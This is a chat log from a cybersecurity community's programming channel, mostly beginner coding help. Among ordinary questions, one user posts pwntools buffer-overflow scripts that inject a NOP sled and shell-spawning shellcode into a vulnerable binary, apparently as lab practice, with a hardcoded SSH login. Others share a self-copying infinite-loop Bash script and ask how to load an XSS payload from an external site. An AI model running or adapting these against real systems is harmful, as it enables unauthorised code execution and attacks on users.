I'll try and take a look when I'm at my machine
For now I'd suggest adding some "try:" blocks to catch if it fails anywhere
I'm at my machine now @covert stirrup which libraries are you using in Python?
Did you configure Gmail to allow for this to be sent?
your prints are fine
so it's the email function itself I recon if nothing is sending
either wrong port, wrong server, wrong credentials etc.
Shouldn't the message be as follows:
message = f"""
From: {sender}
To: {recipient}
Subject: {subject}
{message}
"""
Here's a reference tutorial - https://www.youtube.com/watch?v=JRCJ6RtE3xU
In this Python Programming Tutorial, we will be learning how to send emails. We'll start with simple plain text emails and then learn how to construct more advanced messages. We will learn how to attach images, PDFs, create HTML messages, and more. Let's get started...
The code from this video can be found at:
http://bit.ly/python-emails
Googl...
Also, look at the RFCs for the same if you want some documentation
I think you're right @plucky helm , or at the very least the issue is with the function
okay! Thank you!
Email is terrible
You may want to read the documentation for the sendmail method
Also RFC 822
i've grabbed some css boilerplate, but i'm not using all of it. is there a tool that i can give my html and css that will return only the css i'm using?
beautiful soup maybe? but that's more of a content scaper
Does anyone have experience digging through the glibc library?
I find this function a lot and I can’t make sense of what it actually does:
__libc_once (once, __gconv_read_conf);
Gconv_read_conf is a function defined in the same .c file as this function call
the installer 👆
One of the vendors on VirusTotal flags that file as malicious.
Maybe uploading a .exe isn't the best way to gain trust on a cybersecurity discord
just a thought
yep 17 vendors total flagged it
is py2 exe flagged lol
But like juun said, don't upload random exe's to an infosec discord
ok
but dammn
just from the virustotal report, i deleted your .exe file
literally this is all it does lol
please don't try to spread another compiled binary, 'just a rick roll' or not
rickrolling is fine, but in my mind, compiled stuff is more intensive than most of us want to investigate
i decided to be stupid pendeho
agreed indeed
'''
Traceback (most recent call last):
File "main.py", line 27, in <module>
s11 = symbols[random.randint(0,nr_symbols) -1 ]
IndexError: list index out of range
""
i am new to python - i have tried everything couldnt fix this error
i am ware of the index out range error
but not sure where i am wrong in my code
if i print 27 line it gives vaule though
any here to help me pls ?
am i allowed to paste the code here ?
As long as it’s reasonably compact. And include it in triple backticks (```)
And the issue is that you’re referencing to outside the array symbols
--[----->+<]>-----.+++++++++++++.[--->+<]>-.--.-[->+++<]>-.+[--->+<]>+++.-[-->+++++<]>.------------.++++[->++<]>+.-[->++++<]>.[->+++<]>+.++++++++++++.[->+++++<]>-.+[----->+<]>+.+.+++++.[---->+<]>+++.---[->++++<]>-.---.[----->++<]>+.++++++++++++..----.+++++.-------.--[->+++<]>-.
``` um I spent time of my life for this.
is this something you are looking to decode?
It's brainfuck I think
Yeah, it's brainfuck
it is brainfuck
Yeah I am doing a course on it, but don't know that much
Udemy, YouTube, Blog Posts, Python Docs
Thx
Course
Knowledge
Ok
why do I get this error in this code:
#!/bin/bash
# -b <num>
sizes=(1 256 512 1024 2048 4096 8192 16384)
files=("256b.txt" "512b.txt" "1kb.txt" "256kb.txt" "512kb.txt" "1mb.txt" "256mb.txt")
for i in {0..${#files[@]}}; do
echo -n "${files[i]} \nmmap: "
./build/task05 -t mmap /home/alex/Documents/Letnik02/OS/tasks/task05/${files[i]} >> res.txt
for s in {0..${#sizes[@]}}; do
echo -n "read -b ${sizes[s]}: "
./build/task05 -b ${sizes[i]} -t _read /home/alex/Documents/Letnik02/OS/tasks/task05/${files[i]} >> res.txt
echo -n "ifstream_read -b ${sizes[s]}: "
./build/task05 -b ${sizes[i]} -t ifstream_read /home/alex/Documents/Letnik02/OS/tasks/task05/${files[i]} >> res.txt
done
echo ""
done
Error: ./test.sh: line 9: {0..7}: syntax error: operand expected (error token is "{0..7}")
nvm just figured it out
can anybody help me with a sublime text license ?
i dont have anywhere to learn coding and programming
Buy one.
i dont have that much , its $99
Ok, so what are you asking us to do?
lol.
maybe someone can share a license key with me to help me , i will buy when i can afford to
-ban @rigid thunder Asking for help pirating/evading licensing for sublime text. Ban appeals are bans@tryhackme.com
🔨 Banned viruk3#9182 indefinitely
he got baited😂
Gave +1 Rep to @heavy rampart
there's is also the break-statement, depending on if you want to just catch the error and continue the loop or specify that if an error happens, the loop doesn't continue
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/break
Gave +1 Rep to @sullen venture
hello, I have a problem with one program, and I don't know how edit the code. I need it to tell me how many numbers are left to enter after every i<5
#include <iostream>
#include <stdio.h>
using namespace std;
int main()
{
int num;
int sum, i;
float average;
printf("Enter five numbers: ");
for(i=0; i<5; i++)
{
scanf("%d", &num);
sum = sum + num;
}
average = sum/(float)5;
printf("Average = %f", average);
return 0;
}
i would add a print statement in the for loop with a text like "give the ... number" so the user know on what number he/she is on.
check sites like https://www.w3schools.com/cpp/ for help
greate website https://en.cppreference.com/w/ for al lot of mimum working examples
I mean you don't technically need a license
it's always been very generous with the trial terms
No, but they were trying to skirt it anyway
i think in the for loop you can have it print out ("You have" + (5-i) + "numbers left)
What's up fellas hope all yall good I just started doing programming in college but I got a project to code a popular game and I was asking for your possible help as I don't know much about coding and it's graded
not gonna do your project or hw for you, but if you end up having specific questions/running into errors that you get stumped on happy to point you in the right direction 🤷♀️
hello,,, someone to show me an easier way of creating a get and post method for webprogramming in c++
Easier? Don’t do it in c++.
Just a random question to see if any programmers can help me out, what is Turing completeness? And how can it be explained simply?
this should help you out https://www.youtube.com/watch?v=RPQD7-AOjMI
What does it mean for something to be Turing Complete? Professor Brailsford explains.
Turing Machine Primer: https://youtu.be/DILF8usqp7M
Turing Machines Explained: https://youtu.be/dNRDvLACg5Q
Chomsky Hierarchy: https://youtu.be/224plb3bCog
What on Earth is Recursion?: https://youtu.be/Mv9NEXX1VHc
Thanks mate!
no problem
Hey guys, I like cybersecurity and I would like to learn programming too. What would you suggest for learning C. Are there any good youtubers/videos or websites?
Check CS50 course. It's very good if you wanna learn programming as beginner.
https://youtube.com/playlist?list=PLhQjrBD2T383f9scHRNYJkior2VvYjpSL
Hey guys, does anyone have any suggestions for where I can learn python?
Thanks
thanks
hey there, im new to the coding/programming world. anyone know what i download to start my journey?
i want to do web development
Hey everyone. Currently learning pwntools and getting some inconsistencies. Working with a vuln bin called inventory. Locally the exploit works. It does not work going through ssh and selecting the proccess. Any insight?
Locally: WORKS
from pwn import *
context.update(arch='i386', os='linux')
payload = cyclic(cyclic_find('taaa'))
payload += p32(0xffffd460 + 200 )
payload += b"\x90" * 100
payload += asm(shellcraft.sh())
p = process("./inventory.exe")
p.sendline(payload)
p.interactive()
Through ssh: UNEXPECTED EOF
from pwn import *
context.update(arch='i386', os='linux')
s = ssh(user='user',host='192.168.28.111',port=2222,password='Password')
p = s.process("/.hidden/inventory.exe")
payload = cyclic(cyclic_find('taaa'))
payload += p32(0xffffd5f0 + 200) #<-- changed to reflect local ESP
payload += b"\x90" * 100
payload += asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
Sorry for the late response but if any question you ask seems like a hw or graded question, you will not be answered. Sorry mate :/
That pretty easy, like x%100 would give you the date, the last two digits that is
Then divide the number by 100 and save it as integer to remove the last digits
Not integer - day
Use `` to put text in code blocks
integer = int(integer/100)
Try following a video tutorial on YouTube
This stuffs pretty well documented
this broke me i was inspired by codebullet's video and an mit github post to make my own but i ama broken man today
I have a signed Ethereum transaction signed using the persons private key:
{
"address": "0xA1707c82aa2866955991c7f2C6F431d6619B8b4c",
"msg": "gmaen witches <3",
"sig": "0xdabc00b91919c1d931c8378f2b4f693c6a915b4f4bdbd1107c5d4b5232b750db4a95a877cc572f36bad664f91264666a3528f96328d2b5c024e77ca89c067ed91c",
"version": "2"
}
I have their public key 0x9a338e1c7d6c28ab018d2ae8170148a9dd93e7ca4446c7dc1abac32c4f58d32697407b20f1e3d65e537e822e6ce652994e5f0a87e7b56433a76c1188c1182249, can someone show me Python code that verifies the signed message?
I have spent ~2 hours trying to Google this and have failed all my copy-paste attempts 🙏
from web3.auto import w3
from eth_account.messages import encode_defunct
msg = "gmaen witches <3"
sig = "0xdabc00b91919c1d931c8378f2b4f693c6a915b4f4bdbd1107c5d4b5232b750db4a95a877cc572f36bad664f91264666a3528f96328d2b5c024e77ca89c067ed91c"
message = encode_defunct(text=msg)
print(w3.eth.account.recover_message(message, signature=sig))
Are you looking for this?
can anybody explain the << in this:
x = 13
print(bin(x << 1)[2:].rjust(4, "0"))
as far as I remember, it shifts the binaries to left
say you have 0001 1000
and you do << 1 to it, it becomes:
0011 0000
oooh i thiink so
.... Must we?
Pls help improve this code
Printing the sender blockchain address, the output from test.py matches with your address on the initially question
why is it telling me bad substitution for this? I'm trying to take the name of the file (break0 to begin with) and make a copy named break1, break2, etc...
arp -a > /dev/null & cp ${0} "${${0%/*}/break$(( ${ ${0}: -4: 1}+1))}.sh"
arp -a > /dev/null & cp ${0} "${0%/*}/break$( ${ ${0}:-4:1} + 1).sh"
did that fix it?????
tf
why is it not workiiinnnggg
can someone help me with this i cant get it
#!/bin/bash
while :
do
for i in {1..5}
do
echo test > /dev/null
cp ${0} "${0%/*}/break$( ${ ${0}:-4:1}+1).sh"
done
done```
it isnt running properly
hello
import requests
import os
def checkflights(flightcode):
url = "https://www.flightstats.com/v2/api/search/structured-search?rqid=qswma4k1ixn"
headers = {
"Accept": "application/json, text/plain, */*",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Authorization": "f",
"Connection": "keep-alive",
"Content-Type": "application/json;charset=UTF-8",
"Host": "www.flightstats.com",
"Origin": "https://www.flightstats.com",
"Referer": "https://www.flightstats.com/v2",
"sec-ch-ua-platform": "Windows",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36",
}
data = requests.post(url, headers=headers, data=flightcode)
return data.text
print(checkflights("SWA3314"))```
so i send this request
and it comes back with
{"error":true,"message":"An unexpected error occurred"}
hmm
i hope that bearer-token is not something you should keep private
it returns a request when the site does it
I DID IT
LETS GOOOOOOO
it was with the json
why are you doing it?
1 sec
this should help out
the id isnt different
it has no css selector
only way is xpath
but that just gives me an empty list
same code?
no
can you share the code?
import requests
page = requests.get('https://www.airnav.com/fuel/report.html')
tree = html.fromstring(page.content)
price = tree.xpath('/html/body/center/table/tbody/tr[5]/td[7]')
yeah, what do you want it to do?
no
a bit more specific? what do you want to achieve?
actually i have no idea bro
people tell me to learn a language
i need to build a career
can u suggest me which is the career that is booming r8 now ?
ppl told me to start with html and honestly I hate it
i love drones, Robotics, Artificial Intelligence and stuff
well, it's not a programming language. that's why it sucks as a programming language
shall I skip it? lel
now it get's warmer. so we exclude web-development
So, begining with Python is not a bad idea right ?
When I started chasing something I started with c++ it doesn't matter
but I'm retired now lol
eh, shouldn't take long to know the basics of it
python is never a bad idea and it's fairly easy to learn
Are there any books to learn ?
only got 4 months to learn python linux and some cypher security things, feels more like I'm wasting time
a lot, and courses as well
there are a lot of free resources for python. just go to youtube, google or freecodecamp, etc. at least for the basics
yea but watching courses online kinda strains my head and eyes a lot
so i wanna self study learning through a book
damn then course irl is the chosen one
mmmm
you still have to use a computer. python doesn't run on paper😅
that is the reason i dont wanna spend all my time on screen
its not possible for me to simultaneously follow classes and work
i wanna thank you guys for clearing my head
might want to try codecademy, the basic stuff is free and you learn interactively
does anybody hear know hacking ?
sure
I'm there learning html, its nice
which hacking, game hacking? or hacking into ur system
ohh got what you mean, I'm not into this but learn python and operating systems
then move to tryhackme
you'll learn about operating systems and networking already in tryhackme I guess
im sorry that i copy paste my question - but i saw this programming channel to late ^^
general question to people who are good in C++: can you recommend me a book that covers everything in C++
so no superficial knowledge to quickly code a few programs, but a very deep technical book
i want to understand this language... but i cant find any good resources that are also valid ^^
sometimes i read stuff in the internet, but its not covered in full detail to completely understand it
The C++ Programming Language
Is there a newer edition than the 4th? TC++PL 4th ed doesn't cover anything past C++11
Not one that I'm aware of
cppreference.com is probably the best reference I've seen for all the major C++ releases
C++03 through C++20 and the various TS specs
https://www.baeldung.com/ imho, when it comes to java, this site is 👑
now my question is, what's the 👑 site for python? 😄
the official docs have a LOT of sample code and the references are, quite honestly, the i've seen for any programming language
What the official docs lack is proper indexing.
honestly it's the only one I have bookmarked, but the thing is when I'm looking for something specific and go to the docs, I usually get a little overwhelmed
but yeah, I agree about the code samples
that's a nice way to put it
organising, pagination, proper table of contents and whatelse wouldn't hurt. The same goes for Go docs.
I think if someone checks out the site I sent they'll understand why I speak so highly of it. now I don't know if something similar exists for python, but I thought I'd ask
I know baeldung, but can't say i'd be a fan of it.
oh, how come? It has been a godsent for me when I was doing homework
Let's just say it's not helpful when looking for anything more advanced.
Agree with that
Alright, fair, especially since most of the stuff I was looking up was beginner stuff
the Springboot stuff they have was nice when i needed the intro
Any advice on how to make this code output more aesthetically pleasing? It's pushed out via the Telegram API, so Unicode emojis can be used without any issues
A table could be nice
One of our community members makes very pleasing CLIs. You could check out their GitHub for inspiration -- https://github.com/bee-san
I'm quite new to that kind of formatting. Am I right in thinking Pandas would be the best resource for that?
This is very true, Bee makes some pretty awesome scripts! I'll have a gander 😄
Something like one of these two could be cool,
Pandas isn’t really a library intended to make your output prettier, there are other things out there like colorama and rich (I think that’s what it’s called?)
But yeah, Bee’s projects are good examples
PrettyTable to the rescue! It's far from done but it's definitely an improvement!
(these statistics are bogus, BlackCat hasn't been THAT active lol)
could someone help me with js?
function getregurl() {
let registration = document.getElementById('textbox_id');
let url = "https://globe.adsbexchange.com/?reg=" + registration.value;
document.getElementById('textbox_id').innerHTML = "";
document.getElementById("finallink").href=url;
document.getElemntById("finallink").value=url;
}```
sounds like your function isn't defined
i defined it here
well it's not defined in the page's context
is the script with the function being loaded?
<body>
<center>
<script src="js/script.js"></script>
<div class="topnav">
<a href="{{url_for("homepage")}}">Home</a>
<!--<a href="#news">ElonJet</a>-->
<a class="active" href="{{url_for("aircraftdata")}}">Aircraft Database</a>
<!--<a href="#about">About</a>-->
</div>
<iframe src="https://docs.google.com/spreadsheets/d/e/2PACX-1vRN4mL0eeUjLB4HA3ScE_edMtnyI6vtxCa10MuLkd4t7iTpJAyA2fOtaICEfgHb2f3ekjYFqr-oHpKX/pubhtml?widget=true&headers=false" height="600" width="1200"></iframe>
<br>
<input class='input' id="reginput" placeholder="Enter registration(s)"input>
<p> </p>
<button type="submit" onclick="getregurl()" id="button1">Submit</button>
<p> </p>
<a href="" id="finallink"></a>```
do ctrl+shift+r
where
well the file wasn't there lmao
i saw the screen
make sure the file is on the webserver 
+rep @faint sparrow 🙂
Gave +1 Rep to @faint sparrow
thanks @faint sparrow
Gave +1 Rep to @faint sparrow
W
anyone know how to get text from another site like this https://15.rs/ and and assign in a variable a using java 1 liner
Do you own that site?
Is there a reason you are trying to store text from a really bad XSS attempt?
there is limit for words so i have to get payload from other site and insert it in alert(a)
or like onload= variable a from site 15.rs
anybody else do a loop to get 10 values(custom ports) which could be written in less time
Just read the error message 🤷♂️, you have a character encoding issue
How fix?
Have you tried copying and pasting the error into google? :)
Usually a great place to start if you haven’t already
i did @true pumice
ive been looking it up all day
no luck
it talked alot about utf 8 encoding
i tried encoding
decoding
ectc
you're trying to decode something into ascii. The data is not ascii.
note the name of the function you're calling.
To Solve UnicodeDecode: 'ascii' codec can't decode byte 0xc3 in position 23: ordinal not in range(128) Error Don't keep encoding; leave encod
Something like seq 130 140?
Does anyone know if either OwnCloud or NextCloud would natively support HTTP/HTTPS blob storage the way that S3 does?
I have a dev who's app only uses S3 currently, but they have a use-case scenario coming up that will require on-prem storage.
If there's a simple turn-key server solution that I can spin up that the app will be oblivious of other than needing a new end-point URL selection, I'd like to provide that option forward.
check out min.io
https://github.com/luijait/GONET-Scanner.git i made a network scanners written in golang
give me star and feedback 🙂
Having a look, thanks. I appreciate the tip.
Gave +1 Rep to @magic falcon
Hey, Does anyone have any site recommendations for learning Java?
That is more efficient but I started bash scripting with the basics
Thanks tho 🙂
Gave +1 Rep to @plucky helm
from math import *
print(pi * pow(float(input("radius\n")),2))
This Works
All good 🙂
Please don't beg, it's demeaning
Remember though, readability trumps "efficiency" every time.
Playing code golf is pointless if no one can read your code
yes, but they wanted a one-line so 🤷♂️
Also a straight multiplication is faster than pow
imported math module so thought I'd play with it
At least for squares
also, I believe that efficiency only comes into play for pretty long scripts doing multiple tasks, for simple things there shouldn't be that much of a difference
True as well
You'll save a few dozen microseconds
Well over a million operations it adds up :)
noted for when I'm calculating 10000! (factorial) 🙂
takes notes
Your in the order of 2e35639
I'm too scared of C++ to know proper memory allocation tho
Well this is more that it won't fit in a long or even quad
not even long long double 👀?
I see, my college had an intro to C course in freshman year so only know the basics of C
found python to be more efficient and easy to learn
C still uses ieee-754 for floating point math iirc
Well so does everyone else
C can be more efficient
Python has more understandable syntax though
and the blessed modules too
Sure
ahhh good memories. Converting decimals to IEEE 754 using pencil and paper. Really makes you wonder how the hell someone can come up with such a clever way to store numbers in that format.
Recalling my stuff😄
typedef union {
long integer;
float real;
} convert_t;
convert_t var;
var.real = 3.141259f;
// use bits from `var.integer` 🙂
print("Welcome to the Python Store!!!!! ")
print("Hi, whats your name? \n")
costumer_name= input("Name:")
print("""\nWe have on today´s menu:
bread
Cofe
cake """)
print("\nWhat you want today " + costumer_name + "?")
order = input ("Order:")
foods = ["bread","Cofe","cake"]
if order == foods:
print("Your order will be ready in 5 minutes, thank you " + costumer_name )
else:
print("That´s not on the menu sorry " + costumer_name)
hey guys
im new to python, can anyone explain me why this is the output?
Hi, whats your name?
Name:nuno
We have on today´s menu:
bread
Cofe
cake
What you want today nuno?
Order:bread
That´s not on the menu sorry nuno````
foods is a list
order is a string
== doesn't check if the item is in the list, it's checking if the order is the same as the list of foods which it's not
so if put just one = it will check all the items?
No.
no it gives me error ahhaha newbie mistake
